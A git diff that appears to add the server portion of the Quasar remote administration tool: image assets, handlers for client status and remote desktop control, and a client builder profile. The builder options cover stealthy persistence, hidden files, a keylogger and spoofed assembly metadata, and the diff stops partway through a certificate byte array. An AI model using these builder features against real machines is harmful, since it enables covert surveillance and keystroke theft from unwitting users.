a/Quasar.Server/Images/Flags/vu.png b/Quasar.Server/Images/Flags/vu.png new file mode 100644 index 0000000..b3397bc Binary files /dev/null and b/Quasar.Server/Images/Flags/vu.png differ diff --git a/Quasar.Server/Images/Flags/wales.png b/Quasar.Server/Images/Flags/wales.png new file mode 100644 index 0000000..e0d7cee Binary files /dev/null and b/Quasar.Server/Images/Flags/wales.png differ diff --git a/Quasar.Server/Images/Flags/wf.png b/Quasar.Server/Images/Flags/wf.png new file mode 100644 index 0000000..9f95587 Binary files /dev/null and b/Quasar.Server/Images/Flags/wf.png differ diff --git a/Quasar.Server/Images/Flags/ws.png b/Quasar.Server/Images/Flags/ws.png new file mode 100644 index 0000000..c169508 Binary files /dev/null and b/Quasar.Server/Images/Flags/ws.png differ diff --git a/Quasar.Server/Images/Flags/xy.png b/Quasar.Server/Images/Flags/xy.png new file mode 100644 index 0000000..3d3dff4 Binary files /dev/null and b/Quasar.Server/Images/Flags/xy.png differ diff --git a/Quasar.Server/Images/Flags/ye.png b/Quasar.Server/Images/Flags/ye.png new file mode 100644 index 0000000..468dfad Binary files /dev/null and b/Quasar.Server/Images/Flags/ye.png differ diff --git a/Quasar.Server/Images/Flags/yt.png b/Quasar.Server/Images/Flags/yt.png new file mode 100644 index 0000000..c298f37 Binary files /dev/null and b/Quasar.Server/Images/Flags/yt.png differ diff --git a/Quasar.Server/Images/Flags/za.png b/Quasar.Server/Images/Flags/za.png new file mode 100644 index 0000000..57c58e2 Binary files /dev/null and b/Quasar.Server/Images/Flags/za.png differ diff --git a/Quasar.Server/Images/Flags/zm.png b/Quasar.Server/Images/Flags/zm.png new file mode 100644 index 0000000..c25b07b Binary files /dev/null and b/Quasar.Server/Images/Flags/zm.png differ diff --git a/Quasar.Server/Images/Flags/zw.png b/Quasar.Server/Images/Flags/zw.png new file mode 100644 index 0000000..53c9725 Binary files /dev/null and b/Quasar.Server/Images/Flags/zw.png differ diff --git a/Quasar.Server/Images/Icons/Quasar_Server.ico b/Quasar.Server/Images/Icons/Quasar_Server.ico new file mode 100644 index 0000000..0ef75c8 Binary files /dev/null and b/Quasar.Server/Images/Icons/Quasar_Server.ico differ diff --git a/Quasar.Server/Images/Icons/Quasar_Server.png b/Quasar.Server/Images/Icons/Quasar_Server.png new file mode 100644 index 0000000..5af6fcf Binary files /dev/null and b/Quasar.Server/Images/Icons/Quasar_Server.png differ diff --git a/Quasar.Server/Images/actions.png b/Quasar.Server/Images/actions.png new file mode 100644 index 0000000..d7da501 Binary files /dev/null and b/Quasar.Server/Images/actions.png differ diff --git a/Quasar.Server/Images/application.png b/Quasar.Server/Images/application.png new file mode 100644 index 0000000..9d372aa Binary files /dev/null and b/Quasar.Server/Images/application.png differ diff --git a/Quasar.Server/Images/application_add.png b/Quasar.Server/Images/application_add.png new file mode 100644 index 0000000..2e94507 Binary files /dev/null and b/Quasar.Server/Images/application_add.png differ diff --git a/Quasar.Server/Images/application_cascade.png b/Quasar.Server/Images/application_cascade.png new file mode 100644 index 0000000..da5c622 Binary files /dev/null and b/Quasar.Server/Images/application_cascade.png differ diff --git a/Quasar.Server/Images/application_delete.png b/Quasar.Server/Images/application_delete.png new file mode 100644 index 0000000..0a335ac Binary files /dev/null and b/Quasar.Server/Images/application_delete.png differ diff --git a/Quasar.Server/Images/application_edit.png b/Quasar.Server/Images/application_edit.png new file mode 100644 index 0000000..fb2efb8 Binary files /dev/null and b/Quasar.Server/Images/application_edit.png differ diff --git a/Quasar.Server/Images/application_go.png b/Quasar.Server/Images/application_go.png new file mode 100644 index 0000000..5cc2b0d Binary files /dev/null and b/Quasar.Server/Images/application_go.png differ diff --git a/Quasar.Server/Images/archive.png b/Quasar.Server/Images/archive.png new file mode 100644 index 0000000..f0756cd Binary files /dev/null and b/Quasar.Server/Images/archive.png differ diff --git a/Quasar.Server/Images/arrow_down.png b/Quasar.Server/Images/arrow_down.png new file mode 100644 index 0000000..2c4e279 Binary files /dev/null and b/Quasar.Server/Images/arrow_down.png differ diff --git a/Quasar.Server/Images/arrow_up.png b/Quasar.Server/Images/arrow_up.png new file mode 100644 index 0000000..1ebb193 Binary files /dev/null and b/Quasar.Server/Images/arrow_up.png differ diff --git a/Quasar.Server/Images/back.png b/Quasar.Server/Images/back.png new file mode 100644 index 0000000..d9c50c4 Binary files /dev/null and b/Quasar.Server/Images/back.png differ diff --git a/Quasar.Server/Images/bomb.png b/Quasar.Server/Images/bomb.png new file mode 100644 index 0000000..1be3797 Binary files /dev/null and b/Quasar.Server/Images/bomb.png differ diff --git a/Quasar.Server/Images/bricks.png b/Quasar.Server/Images/bricks.png new file mode 100644 index 0000000..0905f93 Binary files /dev/null and b/Quasar.Server/Images/bricks.png differ diff --git a/Quasar.Server/Images/broom.png b/Quasar.Server/Images/broom.png new file mode 100644 index 0000000..2c6152e Binary files /dev/null and b/Quasar.Server/Images/broom.png differ diff --git a/Quasar.Server/Images/cancel.png b/Quasar.Server/Images/cancel.png new file mode 100644 index 0000000..c149c2b Binary files /dev/null and b/Quasar.Server/Images/cancel.png differ diff --git a/Quasar.Server/Images/cd.png b/Quasar.Server/Images/cd.png new file mode 100644 index 0000000..ef43223 Binary files /dev/null and b/Quasar.Server/Images/cd.png differ diff --git a/Quasar.Server/Images/cog.png b/Quasar.Server/Images/cog.png new file mode 100644 index 0000000..67de2c6 Binary files /dev/null and b/Quasar.Server/Images/cog.png differ diff --git a/Quasar.Server/Images/color_swatch.png b/Quasar.Server/Images/color_swatch.png new file mode 100644 index 0000000..5597faf Binary files /dev/null and b/Quasar.Server/Images/color_swatch.png differ diff --git a/Quasar.Server/Images/computer.png b/Quasar.Server/Images/computer.png new file mode 100644 index 0000000..9bc37dc Binary files /dev/null and b/Quasar.Server/Images/computer.png differ diff --git a/Quasar.Server/Images/cursor.png b/Quasar.Server/Images/cursor.png new file mode 100644 index 0000000..3174ee8 Binary files /dev/null and b/Quasar.Server/Images/cursor.png differ diff --git a/Quasar.Server/Images/delete.png b/Quasar.Server/Images/delete.png new file mode 100644 index 0000000..08f2493 Binary files /dev/null and b/Quasar.Server/Images/delete.png differ diff --git a/Quasar.Server/Images/done.png b/Quasar.Server/Images/done.png new file mode 100644 index 0000000..a9925a0 Binary files /dev/null and b/Quasar.Server/Images/done.png differ diff --git a/Quasar.Server/Images/drink.png b/Quasar.Server/Images/drink.png new file mode 100644 index 0000000..d98359c Binary files /dev/null and b/Quasar.Server/Images/drink.png differ diff --git a/Quasar.Server/Images/drive_go.png b/Quasar.Server/Images/drive_go.png new file mode 100644 index 0000000..fc53379 Binary files /dev/null and b/Quasar.Server/Images/drive_go.png differ diff --git a/Quasar.Server/Images/emoticon_evilgrin.png b/Quasar.Server/Images/emoticon_evilgrin.png new file mode 100644 index 0000000..817bd50 Binary files /dev/null and b/Quasar.Server/Images/emoticon_evilgrin.png differ diff --git a/Quasar.Server/Images/exclamation.png b/Quasar.Server/Images/exclamation.png new file mode 100644 index 0000000..c37bd06 Binary files /dev/null and b/Quasar.Server/Images/exclamation.png differ diff --git a/Quasar.Server/Images/eye.png b/Quasar.Server/Images/eye.png new file mode 100644 index 0000000..564a1a9 Binary files /dev/null and b/Quasar.Server/Images/eye.png differ diff --git a/Quasar.Server/Images/file.png b/Quasar.Server/Images/file.png new file mode 100644 index 0000000..d60cc39 Binary files /dev/null and b/Quasar.Server/Images/file.png differ diff --git a/Quasar.Server/Images/film.png b/Quasar.Server/Images/film.png new file mode 100644 index 0000000..b0ce7bb Binary files /dev/null and b/Quasar.Server/Images/film.png differ diff --git a/Quasar.Server/Images/folder.png b/Quasar.Server/Images/folder.png new file mode 100644 index 0000000..784e8fa Binary files /dev/null and b/Quasar.Server/Images/folder.png differ diff --git a/Quasar.Server/Images/image.png b/Quasar.Server/Images/image.png new file mode 100644 index 0000000..2c6e4ce Binary files /dev/null and b/Quasar.Server/Images/image.png differ diff --git a/Quasar.Server/Images/information.png b/Quasar.Server/Images/information.png new file mode 100644 index 0000000..12cd1ae Binary files /dev/null and b/Quasar.Server/Images/information.png differ diff --git a/Quasar.Server/Images/key_go.png b/Quasar.Server/Images/key_go.png new file mode 100644 index 0000000..30b0dc3 Binary files /dev/null and b/Quasar.Server/Images/key_go.png differ diff --git a/Quasar.Server/Images/keyboard_add.png b/Quasar.Server/Images/keyboard_add.png new file mode 100644 index 0000000..26938dd Binary files /dev/null and b/Quasar.Server/Images/keyboard_add.png differ diff --git a/Quasar.Server/Images/keyboard_delete.png b/Quasar.Server/Images/keyboard_delete.png new file mode 100644 index 0000000..1786ed5 Binary files /dev/null and b/Quasar.Server/Images/keyboard_delete.png differ diff --git a/Quasar.Server/Images/keyboard_magnify.png b/Quasar.Server/Images/keyboard_magnify.png new file mode 100644 index 0000000..928fc17 Binary files /dev/null and b/Quasar.Server/Images/keyboard_magnify.png differ diff --git a/Quasar.Server/Images/lightning.png b/Quasar.Server/Images/lightning.png new file mode 100644 index 0000000..9680afd Binary files /dev/null and b/Quasar.Server/Images/lightning.png differ diff --git a/Quasar.Server/Images/lock.png b/Quasar.Server/Images/lock.png new file mode 100644 index 0000000..2ebc4f6 Binary files /dev/null and b/Quasar.Server/Images/lock.png differ diff --git a/Quasar.Server/Images/monitor.png b/Quasar.Server/Images/monitor.png new file mode 100644 index 0000000..d040bd0 Binary files /dev/null and b/Quasar.Server/Images/monitor.png differ diff --git a/Quasar.Server/Images/monitoring.png b/Quasar.Server/Images/monitoring.png new file mode 100644 index 0000000..110dc86 Binary files /dev/null and b/Quasar.Server/Images/monitoring.png differ diff --git a/Quasar.Server/Images/mouse_add.png b/Quasar.Server/Images/mouse_add.png new file mode 100644 index 0000000..65bcab5 Binary files /dev/null and b/Quasar.Server/Images/mouse_add.png differ diff --git a/Quasar.Server/Images/mouse_delete.png b/Quasar.Server/Images/mouse_delete.png new file mode 100644 index 0000000..7286566 Binary files /dev/null and b/Quasar.Server/Images/mouse_delete.png differ diff --git a/Quasar.Server/Images/movie.png b/Quasar.Server/Images/movie.png new file mode 100644 index 0000000..b4ad873 Binary files /dev/null and b/Quasar.Server/Images/movie.png differ diff --git a/Quasar.Server/Images/music.png b/Quasar.Server/Images/music.png new file mode 100644 index 0000000..1309253 Binary files /dev/null and b/Quasar.Server/Images/music.png differ diff --git a/Quasar.Server/Images/note.png b/Quasar.Server/Images/note.png new file mode 100644 index 0000000..244e6ca Binary files /dev/null and b/Quasar.Server/Images/note.png differ diff --git a/Quasar.Server/Images/page_copy.png b/Quasar.Server/Images/page_copy.png new file mode 100644 index 0000000..195dc6d Binary files /dev/null and b/Quasar.Server/Images/page_copy.png differ diff --git a/Quasar.Server/Images/pdf.png b/Quasar.Server/Images/pdf.png new file mode 100644 index 0000000..7a6dcb4 Binary files /dev/null and b/Quasar.Server/Images/pdf.png differ diff --git a/Quasar.Server/Images/picture.png b/Quasar.Server/Images/picture.png new file mode 100644 index 0000000..4a158fe Binary files /dev/null and b/Quasar.Server/Images/picture.png differ diff --git a/Quasar.Server/Images/refresh.png b/Quasar.Server/Images/refresh.png new file mode 100644 index 0000000..0de2656 Binary files /dev/null and b/Quasar.Server/Images/refresh.png differ diff --git a/Quasar.Server/Images/reg_binary.png b/Quasar.Server/Images/reg_binary.png new file mode 100644 index 0000000..1485bf8 Binary files /dev/null and b/Quasar.Server/Images/reg_binary.png differ diff --git a/Quasar.Server/Images/reg_string.png b/Quasar.Server/Images/reg_string.png new file mode 100644 index 0000000..a451501 Binary files /dev/null and b/Quasar.Server/Images/reg_string.png differ diff --git a/Quasar.Server/Images/registry.png b/Quasar.Server/Images/registry.png new file mode 100644 index 0000000..cfc2702 Binary files /dev/null and b/Quasar.Server/Images/registry.png differ diff --git a/Quasar.Server/Images/restart.png b/Quasar.Server/Images/restart.png new file mode 100644 index 0000000..97be114 Binary files /dev/null and b/Quasar.Server/Images/restart.png differ diff --git a/Quasar.Server/Images/save.png b/Quasar.Server/Images/save.png new file mode 100644 index 0000000..0d531eb Binary files /dev/null and b/Quasar.Server/Images/save.png differ diff --git a/Quasar.Server/Images/server.png b/Quasar.Server/Images/server.png new file mode 100644 index 0000000..720a237 Binary files /dev/null and b/Quasar.Server/Images/server.png differ diff --git a/Quasar.Server/Images/server_add.png b/Quasar.Server/Images/server_add.png new file mode 100644 index 0000000..3f10a3a Binary files /dev/null and b/Quasar.Server/Images/server_add.png differ diff --git a/Quasar.Server/Images/server_delete.png b/Quasar.Server/Images/server_delete.png new file mode 100644 index 0000000..61e740f Binary files /dev/null and b/Quasar.Server/Images/server_delete.png differ diff --git a/Quasar.Server/Images/server_disconnect.png b/Quasar.Server/Images/server_disconnect.png new file mode 100644 index 0000000..49b2691 Binary files /dev/null and b/Quasar.Server/Images/server_disconnect.png differ diff --git a/Quasar.Server/Images/server_go.png b/Quasar.Server/Images/server_go.png new file mode 100644 index 0000000..540c8e2 Binary files /dev/null and b/Quasar.Server/Images/server_go.png differ diff --git a/Quasar.Server/Images/server_link.png b/Quasar.Server/Images/server_link.png new file mode 100644 index 0000000..e8821df Binary files /dev/null and b/Quasar.Server/Images/server_link.png differ diff --git a/Quasar.Server/Images/shutdown.png b/Quasar.Server/Images/shutdown.png new file mode 100644 index 0000000..baaedc9 Binary files /dev/null and b/Quasar.Server/Images/shutdown.png differ diff --git a/Quasar.Server/Images/sound.png b/Quasar.Server/Images/sound.png new file mode 100644 index 0000000..6056d23 Binary files /dev/null and b/Quasar.Server/Images/sound.png differ diff --git a/Quasar.Server/Images/standby.png b/Quasar.Server/Images/standby.png new file mode 100644 index 0000000..68debea Binary files /dev/null and b/Quasar.Server/Images/standby.png differ diff --git a/Quasar.Server/Images/terminal.png b/Quasar.Server/Images/terminal.png new file mode 100644 index 0000000..4efd07a Binary files /dev/null and b/Quasar.Server/Images/terminal.png differ diff --git a/Quasar.Server/Images/text.png b/Quasar.Server/Images/text.png new file mode 100644 index 0000000..ed841a0 Binary files /dev/null and b/Quasar.Server/Images/text.png differ diff --git a/Quasar.Server/Images/textfield_rename.png b/Quasar.Server/Images/textfield_rename.png new file mode 100644 index 0000000..4e3688e Binary files /dev/null and b/Quasar.Server/Images/textfield_rename.png differ diff --git a/Quasar.Server/Images/transmit_blue.png b/Quasar.Server/Images/transmit_blue.png new file mode 100644 index 0000000..7b1142f Binary files /dev/null and b/Quasar.Server/Images/transmit_blue.png differ diff --git a/Quasar.Server/Images/uac_shield.png b/Quasar.Server/Images/uac_shield.png new file mode 100644 index 0000000..6a21ee5 Binary files /dev/null and b/Quasar.Server/Images/uac_shield.png differ diff --git a/Quasar.Server/Images/user.png b/Quasar.Server/Images/user.png new file mode 100644 index 0000000..79f35cc Binary files /dev/null and b/Quasar.Server/Images/user.png differ diff --git a/Quasar.Server/Images/wand.png b/Quasar.Server/Images/wand.png new file mode 100644 index 0000000..44ccbf8 Binary files /dev/null and b/Quasar.Server/Images/wand.png differ diff --git a/Quasar.Server/Images/website.png b/Quasar.Server/Images/website.png new file mode 100644 index 0000000..b8895dd Binary files /dev/null and b/Quasar.Server/Images/website.png differ diff --git a/Quasar.Server/Images/word.png b/Quasar.Server/Images/word.png new file mode 100644 index 0000000..462d894 Binary files /dev/null and b/Quasar.Server/Images/word.png differ diff --git a/Quasar.Server/Images/world_go.png b/Quasar.Server/Images/world_go.png new file mode 100644 index 0000000..aee9c97 Binary files /dev/null and b/Quasar.Server/Images/world_go.png differ diff --git a/Quasar.Server/Images/world_link.png b/Quasar.Server/Images/world_link.png new file mode 100644 index 0000000..b8edc12 Binary files /dev/null and b/Quasar.Server/Images/world_link.png differ diff --git a/Quasar.Server/Messages/ClientStatusHandler.cs b/Quasar.Server/Messages/ClientStatusHandler.cs new file mode 100644 index 0000000..58d1b5d --- /dev/null +++ b/Quasar.Server/Messages/ClientStatusHandler.cs @@ -0,0 +1,112 @@ +using Quasar.Common.Enums; +using Quasar.Common.Messages; +using Quasar.Common.Networking; +using Quasar.Server.Networking; + +namespace Quasar.Server.Messages +{ + /// + /// Handles messages for the interaction with the remote client status. + /// + public class ClientStatusHandler : MessageProcessorBase + { + /// + /// Represents the method that will handle status updates. + /// + /// The message handler which raised the event. + /// The client which updated the status. + /// The new status. + public delegate void StatusUpdatedEventHandler(object sender, Client client, string statusMessage); + + /// + /// Represents the method that will handle user status updates. + /// + /// The message handler which raised the event. + /// The client which updated the user status. + /// The new user status. + public delegate void UserStatusUpdatedEventHandler(object sender, Client client, UserStatus userStatusMessage); + + /// + /// Raised when a client updated its status. + /// + /// + /// Handlers registered with this event will be invoked on the + /// chosen when the instance was constructed. + /// + public event StatusUpdatedEventHandler StatusUpdated; + + /// + /// Raised when a client updated its user status. + /// + /// + /// Handlers registered with this event will be invoked on the + /// chosen when the instance was constructed. + /// + public event UserStatusUpdatedEventHandler UserStatusUpdated; + + /// + /// Reports an updated status. + /// + /// The client which updated the status. + /// The new status. + private void OnStatusUpdated(Client client, string statusMessage) + { + SynchronizationContext.Post(c => + { + var handler = StatusUpdated; + handler?.Invoke(this, (Client) c, statusMessage); + }, client); + } + + /// + /// Reports an updated user status. + /// + /// The client which updated the user status. + /// The new user status. + private void OnUserStatusUpdated(Client client, UserStatus userStatusMessage) + { + SynchronizationContext.Post(c => + { + var handler = UserStatusUpdated; + handler?.Invoke(this, (Client) c, userStatusMessage); + }, client); + } + + /// + /// Initializes a new instance of the class. + /// + public ClientStatusHandler() : base(true) + { + } + + /// + public override bool CanExecute(IMessage message) => message is SetStatus || message is SetUserStatus; + + /// + public override bool CanExecuteFrom(ISender sender) => true; + + /// + public override void Execute(ISender sender, IMessage message) + { + switch (message) + { + case SetStatus status: + Execute((Client) sender, status); + break; + case SetUserStatus userStatus: + Execute((Client) sender, userStatus); + break; + } + } + + private void Execute(Client client, SetStatus message) + { + OnStatusUpdated(client, message.Message); + } + + private void Execute(Client client, SetUserStatus message) + { + OnUserStatusUpdated(client, message.Message); + } + } +} diff --git a/Quasar.Server/Messages/RemoteDesktopHandler.cs b/Quasar.Server/Messages/RemoteDesktopHandler.cs new file mode 100644 index 0000000..28e0b8d --- /dev/null +++ b/Quasar.Server/Messages/RemoteDesktopHandler.cs @@ -0,0 +1,249 @@ +using Quasar.Common.Enums; +using Quasar.Common.Messages; +using Quasar.Common.Networking; +using Quasar.Common.Video.Codecs; +using Quasar.Server.Networking; +using System; +using System.Drawing; +using System.IO; + +namespace Quasar.Server.Messages +{ + /// + /// Handles messages for the interaction with the remote desktop. + /// + public class RemoteDesktopHandler : MessageProcessorBase, IDisposable + { + /// + /// States if the client is currently streaming desktop frames. + /// + public bool IsStarted { get; set; } + + /// + /// Used in lock statements to synchronize access to between UI thread and thread pool. + /// + private readonly object _syncLock = new object(); + + /// + /// Used in lock statements to synchronize access to between UI thread and thread pool. + /// + private readonly object _sizeLock = new object(); + + /// + /// The local resolution, see . + /// + private Size _localResolution; + + /// + /// The local resolution in width x height. It indicates to which resolution the received frame should be resized. + /// + /// + /// This property is thread-safe. + /// + public Size LocalResolution + { + get + { + lock (_sizeLock) + { + return _localResolution; + } + } + set + { + lock (_sizeLock) + { + _localResolution = value; + } + } + } + + /// + /// Represents the method that will handle display changes. + /// + /// The message processor which raised the event. + /// All currently available displays. + public delegate void DisplaysChangedEventHandler(object sender, int value); + + /// + /// Raised when a display changed. + /// + /// + /// Handlers registered with this event will be invoked on the + /// chosen when the instance was constructed. + /// + public event DisplaysChangedEventHandler DisplaysChanged; + + /// + /// Reports changed displays. + /// + /// All currently available displays. + private void OnDisplaysChanged(int value) + { + SynchronizationContext.Post(val => + { + var handler = DisplaysChanged; + handler?.Invoke(this, (int)val); + }, value); + } + + /// + /// The client which is associated with this remote desktop handler. + /// + private readonly Client _client; + + /// + /// The video stream codec used to decode received frames. + /// + private UnsafeStreamCodec _codec; + + /// + /// Initializes a new instance of the class using the given client. + /// + /// The associated client. + public RemoteDesktopHandler(Client client) : base(true) + { + _client = client; + } + + /// + public override bool CanExecute(IMessage message) => message is GetDesktopResponse || message is GetMonitorsResponse; + + /// + public override bool CanExecuteFrom(ISender sender) => _client.Equals(sender); + + /// + public override void Execute(ISender sender, IMessage message) + { + switch (message) + { + case GetDesktopResponse d: + Execute(sender, d); + break; + case GetMonitorsResponse m: + Execute(sender, m); + break; + } + } + + /// + /// Begins receiving frames from the client using the specified quality and display. + /// + /// The quality of the remote desktop frames. + /// The display to receive frames from. + public void BeginReceiveFrames(int quality, int display) + { + lock (_syncLock) + { + IsStarted = true; + _codec?.Dispose(); + _codec = null; + _client.Send(new GetDesktop { CreateNew = true, Quality = quality, DisplayIndex = display }); + } + } + + /// + /// Ends receiving frames from the client. + /// + public void EndReceiveFrames() + { + lock (_syncLock) + { + IsStarted = false; + } + } + + /// + /// Refreshes the available displays of the client. + /// + public void RefreshDisplays() + { + _client.Send(new GetMonitors()); + } + + /// + /// Sends a mouse event to the specified display of the client. + /// + /// The mouse action to send. + /// Indicates whether it's a mousedown or mouseup event. + /// The X-coordinate inside the . + /// The Y-coordinate inside the . + /// The display to execute the mouse event on. + public void SendMouseEvent(MouseAction mouseAction, bool isMouseDown, int x, int y, int displayIndex) + { + lock (_syncLock) + { + _client.Send(new DoMouseEvent + { + Action = mouseAction, + IsMouseDown = isMouseDown, + // calculate remote width & height + X = x * _codec.Resolution.Width / LocalResolution.Width, + Y = y * _codec.Resolution.Height / LocalResolution.Height, + MonitorIndex = displayIndex + }); + } + } + + /// + /// Sends a keyboard event to the client. + /// + /// The pressed key. + /// Indicates whether it's a keydown or keyup event. + public void SendKeyboardEvent(byte keyCode, bool keyDown) + { + _client.Send(new DoKeyboardEvent {Key = keyCode, KeyDown = keyDown}); + } + + private void Execute(ISender client, GetDesktopResponse message) + { + lock (_syncLock) + { + if (!IsStarted) + return; + + if (_codec == null || _codec.ImageQuality != message.Quality || _codec.Monitor != message.Monitor || _codec.Resolution != message.Resolution) + { + _codec?.Dispose(); + _codec = new UnsafeStreamCodec(message.Quality, message.Monitor, message.Resolution); + } + + using (MemoryStream ms = new MemoryStream(message.Image)) + { + // create deep copy & resize bitmap to local resolution + OnReport(new Bitmap(_codec.DecodeData(ms), LocalResolution)); + } + + message.Image = null; + + client.Send(new GetDesktop {Quality = message.Quality, DisplayIndex = message.Monitor}); + } + } + + private void Execute(ISender client, GetMonitorsResponse message) + { + OnDisplaysChanged(message.Number); + } + + /// + /// Disposes all managed and unmanaged resources associated with this message processor. + /// + public void Dispose() + { + Dispose(true); + GC.SuppressFinalize(this); + } + + protected virtual void Dispose(bool disposing) + { + if (disposing) + { + lock (_syncLock) + { + _codec?.Dispose(); + IsStarted = false; + } + } + } + } +} diff --git a/Quasar.Server/Models/BuildOptions.cs b/Quasar.Server/Models/BuildOptions.cs new file mode 100644 index 0000000..07f90a0 --- /dev/null +++ b/Quasar.Server/Models/BuildOptions.cs @@ -0,0 +1,26 @@ +namespace Quasar.Server.Models +{ + public class BuildOptions + { + public bool Install { get; set; } + public bool Startup { get; set; } + public bool HideFile { get; set; } + public bool Keylogger { get; set; } + public string Tag { get; set; } + public string Mutex { get; set; } + public string RawHosts { get; set; } + public string IconPath { get; set; } + public string Version { get; set; } + public string InstallSub { get; set; } + public string InstallName { get; set; } + public string StartupName { get; set; } + public string OutputPath { get; set; } + public int Delay { get; set; } + public short InstallPath { get; set; } + public string[] AssemblyInformation { get; set; } + public string LogDirectoryName { get; set; } + public bool HideLogDirectory { get; set; } + public bool HideInstallSubdirectory { get; set; } + public bool UnattendedMode { get; set; } + } +} diff --git a/Quasar.Server/Models/BuilderProfile.cs b/Quasar.Server/Models/BuilderProfile.cs new file mode 100644 index 0000000..9169e09 --- /dev/null +++ b/Quasar.Server/Models/BuilderProfile.cs @@ -0,0 +1,410 @@ +using System; +using System.IO; +using System.Windows.Forms; +using System.Xml; +using System.Xml.XPath; + +namespace Quasar.Server.Models +{ + public class BuilderProfile + { + private readonly string _profilePath; + + public string Hosts + { + get + { + return ReadValueSafe("Hosts"); + } + set + { + WriteValue("Hosts", value); + } + } + + public string Tag + { + get + { + return ReadValueSafe("Tag", "Office04"); + } + set + { + WriteValue("Tag", value); + } + } + + public int Delay + { + get + { + return int.Parse(ReadValueSafe("Delay", "3000")); + } + set + { + WriteValue("Delay", value.ToString()); + } + } + + public string Mutex + { + get + { + return ReadValueSafe("Mutex", Guid.NewGuid().ToString()); + } + set + { + WriteValue("Mutex", value); + } + } + + public bool UnattendedMode + { + get + { + return bool.Parse(ReadValueSafe("UnattendedMode", "False")); + } + set + { + WriteValue("UnattendedMode", value.ToString()); + } + } + + public bool InstallClient + { + get + { + return bool.Parse(ReadValueSafe("InstallClient", "False")); + } + set + { + WriteValue("InstallClient", value.ToString()); + } + } + + public string InstallName + { + get + { + return ReadValueSafe("InstallName", "Client"); + } + set + { + WriteValue("InstallName", value); + } + } + + public short InstallPath + { + get + { + return short.Parse(ReadValueSafe("InstallPath", "1")); + } + set + { + WriteValue("InstallPath", value.ToString()); + } + } + + public string InstallSub + { + get + { + return ReadValueSafe("InstallSub", "SubDir"); + } + set + { + WriteValue("InstallSub", value); + } + } + + public bool HideFile + { + get + { + return bool.Parse(ReadValueSafe("HideFile", "False")); + } + set + { + WriteValue("HideFile", value.ToString()); + } + } + + public bool HideSubDirectory + { + get + { + return bool.Parse(ReadValueSafe("HideSubDirectory", "False")); + } + set + { + WriteValue("HideSubDirectory", value.ToString()); + } + } + + public bool AddStartup + { + get + { + return bool.Parse(ReadValueSafe("AddStartup", "False")); + } + set + { + WriteValue("AddStartup", value.ToString()); + } + } + + public string RegistryName + { + get + { + return ReadValueSafe("RegistryName", "Trollware Startup"); + } + set + { + WriteValue("RegistryName", value); + } + } + + public bool ChangeIcon + { + get + { + return bool.Parse(ReadValueSafe("ChangeIcon", "False")); + } + set + { + WriteValue("ChangeIcon", value.ToString()); + } + } + + public string IconPath + { + get + { + return ReadValueSafe("IconPath"); + } + set + { + WriteValue("IconPath", value); + } + } + + public bool ChangeAsmInfo + { + get + { + return bool.Parse(ReadValueSafe("ChangeAsmInfo", "False")); + } + set + { + WriteValue("ChangeAsmInfo", value.ToString()); + } + } + + public bool Keylogger + { + get + { + return bool.Parse(ReadValueSafe("Keylogger", "False")); + } + set + { + WriteValue("Keylogger", value.ToString()); + } + } + + public string LogDirectoryName + { + get + { + return ReadValueSafe("LogDirectoryName", "Logs"); + } + set + { + WriteValue("LogDirectoryName", value); + } + } + + public bool HideLogDirectory + { + get + { + return bool.Parse(ReadValueSafe("HideLogDirectory", "False")); + } + set + { + WriteValue("HideLogDirectory", value.ToString()); + } + } + + public string ProductName + { + get + { + return ReadValueSafe("ProductName"); + } + set + { + WriteValue("ProductName", value); + } + } + + public string Description + { + get + { + return ReadValueSafe("Description"); + } + set + { + WriteValue("Description", value); + } + } + + public string CompanyName + { + get + { + return ReadValueSafe("CompanyName"); + } + set + { + WriteValue("CompanyName", value); + } + } + + public string Copyright + { + get + { + return ReadValueSafe("Copyright"); + } + set + { + WriteValue("Copyright", value); + } + } + + public string Trademarks + { + get + { + return ReadValueSafe("Trademarks"); + } + set + { + WriteValue("Trademarks", value); + } + } + + public string OriginalFilename + { + get + { + return ReadValueSafe("OriginalFilename"); + } + set + { + WriteValue("OriginalFilename", value); + } + } + + public string ProductVersion + { + get + { + return ReadValueSafe("ProductVersion"); + } + set + { + WriteValue("ProductVersion", value); + } + } + + public string FileVersion + { + get + { + return ReadValueSafe("FileVersion"); + } + set + { + WriteValue("FileVersion", value); + } + } + + public BuilderProfile(string profileName) + { + if (string.IsNullOrEmpty(profileName)) throw new ArgumentException("Invalid Profile Path"); + _profilePath = Path.Combine(Application.StartupPath, "Profiles\\" + profileName + ".xml"); + } + + private string ReadValue(string pstrValueToRead) + { + try + { + XPathDocument doc = new XPathDocument(_profilePath); + XPathNavigator nav = doc.CreateNavigator(); + XPathExpression expr = nav.Compile(@"/settings/" + pstrValueToRead); + XPathNodeIterator iterator = nav.Select(expr); + while (iterator.MoveNext()) + { + return iterator.Current.Value; + } + + return string.Empty; + } + catch + { + return string.Empty; + } + } + + private string ReadValueSafe(string pstrValueToRead, string defaultValue = "") + { + string value = ReadValue(pstrValueToRead); + return (!string.IsNullOrEmpty(value)) ? value : defaultValue; + } + + private void WriteValue(string pstrValueToRead, string pstrValueToWrite) + { + try + { + XmlDocument doc = new XmlDocument(); + + if (File.Exists(_profilePath)) + { + using (var reader = new XmlTextReader(_profilePath)) + { + doc.Load(reader); + } + } + else + { + var dir = Path.GetDirectoryName(_profilePath); + if (!Directory.Exists(dir)) + { + Directory.CreateDirectory(dir); + } + doc.AppendChild(doc.CreateElement("settings")); + } + + XmlElement root = doc.DocumentElement; + XmlNode oldNode = root.SelectSingleNode(@"/settings/" + pstrValueToRead); + if (oldNode == null) // create if not exist + { + oldNode = doc.SelectSingleNode("settings"); + oldNode.AppendChild(doc.CreateElement(pstrValueToRead)).InnerText = pstrValueToWrite; + doc.Save(_profilePath); + return; + } + oldNode.InnerText = pstrValueToWrite; + doc.Save(_profilePath); + } + catch + { + } + } + } +} diff --git a/Quasar.Server/Models/DummyCertificate.cs b/Quasar.Server/Models/DummyCertificate.cs new file mode 100644 index 0000000..7ee8558 --- /dev/null +++ b/Quasar.Server/Models/DummyCertificate.cs @@ -0,0 +1,200 @@ +using System.Security.Cryptography.X509Certificates; + +namespace Quasar.Server.Models +{ + /// + /// Provides a dummy certificate for debugging. Do not use in production. + /// + public sealed class DummyCertificate : X509Certificate2 + { + private static readonly byte[] CertificateBytes = + { + 48, 130, 16, 163, 2, 1, 3, 48, 130, 16, 95, 6, 9, 42, 134, 72, 134, 247, 13, 1, 7, 1, 160, 130, 16, 80, 4, + 130, 16, 76, 48, 130, 16, 72, 48, 130, 10, 177, 6, 9, 42, 134, 72, 134, 247, 13, 1, 7, 